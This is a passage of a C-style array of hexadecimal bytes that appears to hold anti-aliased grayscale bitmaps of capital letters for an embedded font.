0xFF, 0xFF, 0xF9, 0xBD, 0x67, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0D, 0x4F, 0x7C, 0x92, 0xA7, 0xAA, 0xA3, 0x8E, 0x78, 0x4C, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x5A, 0x5A, 0x5A,
0x5A, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF,
0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF,
0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xFB, 0xFF, 0xFF, 0xFF,
0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xF5, 0xFF,
0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0x84, 0xF1,
0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0xFF, 0xFF, 0x40, 0xB5,
0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFE, 0xFF, 0xF8, 0x08, 0x75,
0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xFF, 0xFF, 0xC1, 0x00, 0x36,
0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0x81, 0x00, 0x03,
0xF2, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDD, 0xFF, 0xFF, 0x41, 0x00, 0x00,
0xB6, 0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xFF, 0xFF, 0xF9, 0x09, 0x00, 0x00,
0x76, 0xFF, 0xFF, 0xEA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0xC2, 0xC2, 0xC2,
0xDA, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x72, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x2A, 0xFF, 0xFF, 0xFA, 0x44, 0x41, 0x41, 0x41,
0x41, 0x95, 0xFF, 0xFF, 0xF3, 0x05, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0xAF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00,
0x00, 0x06, 0xF6, 0xFF, 0xFF, 0x7F, 0x00, 0x03, 0xEF, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xC2, 0x00, 0x35, 0xFF, 0xFF, 0xFA, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x81, 0xFF, 0xFF, 0xFA, 0x0B, 0x68, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0x39, 0x6F, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xC8,
0xA1, 0x79, 0x39, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xB0, 0x0B, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xCB, 0x1A, 0x1A, 0x1A, 0x28, 0x3E,
0x83, 0xEB, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x2F, 0xFA, 0xFF, 0xFF, 0x79, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xD4, 0xFF, 0xFF, 0x95, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0xEA, 0xFF, 0xFF, 0x82, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2F, 0xB2, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x7F, 0xFF, 0xFF, 0xF4, 0xD1, 0xD1, 0xD2, 0xDE, 0xF1,
0xFF, 0xFF, 0xFF, 0xFF, 0xC7, 0x02, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xC9, 0x07, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0x86, 0x03, 0x00, 0x7F, 0xFF, 0xFF, 0xCE, 0x20, 0x20, 0x20, 0x2B, 0x43,
0x7E, 0xE4, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x19, 0xE2, 0xFF, 0xFF, 0xB3, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x88, 0xFF, 0xFF, 0xF3, 0x04, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x83, 0xFF, 0xFF, 0xFC, 0x08, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0C, 0xD4, 0xFF, 0xFF, 0xCE, 0x00, 0x7F, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x0A, 0x1F,
0x5E, 0xCD, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x7F, 0xFF, 0xFF, 0xFE, 0xFA, 0xFA, 0xFB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x25, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE6, 0x2C, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xE6,
0xD0, 0xA9, 0x4E, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x43, 0x57, 0x42,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xB1, 0xFE, 0xFF, 0xFF, 0xFF, 0xF1, 0x7F, 0x02,
0x00, 0x00, 0x00, 0x0E, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x04,
0xBD, 0xFF, 0xFF, 0xFF, 0xE2, 0xC8, 0xFD, 0xFF, 0xFF, 0xFE, 0x34, 0x00, 0x49, 0xFF, 0xFF, 0xFF,
0x9A, 0x01, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0xA4, 0xFF, 0xFF, 0xDD, 0x07, 0x00, 0x00,
0x00, 0x9A, 0xC4, 0xC4, 0x77, 0x0A, 0xF4, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E,
0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF,
0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0xFF, 0xFF, 0xFE, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3C, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF,
0xFF, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF2, 0xFF, 0xFF, 0x99, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xE7, 0x0F, 0x00, 0x00, 0x00,
0x9E, 0xD9, 0xD9, 0xA5, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0xA9, 0x05, 0x00, 0x31, 0xFD, 0xFF, 0xFF,
0x87, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0xED, 0xD4, 0xFF, 0xFF, 0xFF, 0xFE, 0x36, 0x00, 0x00,
0x11, 0xC8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xA4,
0xEC, 0xFF, 0xFF, 0xFF, 0xF4, 0x75, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x2A, 0x52,
0x31, 0x09, 0x00, 0x00, 0x00, 0x6F, 0xE0, 0xE0, 0xD0, 0xA9, 0x83, 0x32, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB7, 0x37, 0x00, 0x00, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x62, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xD7,
0x7A, 0xD3, 0xFF, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x7E,
0xFF, 0xFF, 0xFF, 0xF8, 0x2E, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF,
0xFF, 0xC9, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0xFF, 0x30,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0x8F, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0xBB, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0xDB, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA1, 0xFF, 0xFF, 0xE9, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF,
0xC2, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF, 0xFF, 0x96, 0x7F, 0xFF,
0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xFF, 0xFF, 0x69, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x08, 0xDE, 0xFF, 0xFF, 0xFD, 0x2D, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x19, 0xBE,
0xFF, 0xFF, 0xFF, 0x91, 0x00, 0x7F, 0xFF, 0xFF, 0xC6, 0x42, 0x79, 0xEA, 0xFF, 0xFF, 0xFF, 0xDD,
0x0B, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE3, 0x38, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x8D, 0x0C, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xF2,
0xC9, 0xA0, 0x76, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0x80, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xA9, 0x7F, 0xFF, 0xFF, 0xFD, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xA3,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0x87, 0x00, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x92, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x7F, 0xFF, 0xFF, 0xBC, 0x0E, 0x0E, 0x0E, 0x0E,
0x0E, 0x0E, 0x0E, 0x03, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xBA, 0x03, 0x03, 0x03,
0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF7, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7,
0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x05, 0x0B, 0x0B,
0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x01, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x21, 0x7F, 0xFF, 0xFF, 0xF3, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4, 0xCB, 0x10, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xBC, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0B, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCE, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xFA, 0xEC, 0xEC, 0xEC, 0xEC, 0xEC, 0xBE, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E,
0x41, 0x6E, 0x63, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xD6, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xBF, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0xF7, 0xBC, 0x8C, 0xB4,
0xFE, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x11, 0xF0, 0xFF, 0xFF, 0xEA, 0x32, 0x00, 0x00, 0x00, 0x70,
0xFC, 0xFC, 0xFC, 0x43, 0x00, 0x81, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEE, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x17, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x39, 0xFF, 0xFF, 0xFF, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5A, 0xFF, 0xFF, 0xFF, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79,
0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x22, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0xF7, 0x45, 0x6F, 0xFF,
0xFF, 0xFF, 0x0A, 0x00, 0x23, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x50, 0xFF, 0xFF,
0xFF, 0x22, 0x00, 0x1E, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x31, 0xFF, 0xFF, 0xFF,
0x39, 0x00, 0x00, 0x01, 0x02, 0x02, 0x02, 0xDC, 0xFF, 0xFF, 0x5C, 0x12, 0xFF, 0xFF, 0xFF, 0x79,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF, 0xFF, 0x5C, 0x00, 0xE0, 0xFF, 0xFF, 0xD9, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF, 0xFF, 0x5C, 0x00, 0x6D, 0xFF, 0xFF, 0xFF, 0x5C, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF, 0xFF, 0x5C, 0x00, 0x09, 0xE9, 0xFF, 0xFF, 0xFC, 0x62, 0x04,
0x00, 0x01, 0x2A, 0xE6, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0xC9,
0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x5F, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x38, 0xBC, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF,
0xF3, 0xAF, 0x65, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x28, 0x52, 0x41, 0x24, 0x05,
0x00, 0x00, 0x00, 0x1B, 0x37, 0x37, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x37, 0x37,
0x14, 0x7F, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F,
0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7,
0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF,
0x60, 0x7F, 0xFF, 0xFF, 0xFF, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0xEB, 0xFC, 0xFF, 0xFF, 0x60, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xBC, 0x0E,
0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0xD9, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7,
0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF,
0x60, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F,
0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x60, 0x7A, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0x56, 0x00, 0xC6, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE0, 0xE0, 0xDE, 0x2C, 0x00, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x00,
0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x00, 0x04, 0x08, 0x08, 0xEE, 0xFF,
0xFF, 0x58, 0x08, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED,
0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xED, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x03, 0xED, 0xFF, 0xFF,
0x54, 0x03, 0x03, 0x02, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x7F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x7A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x37, 0x37, 0x25,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF2, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF,
0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF,
0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41,
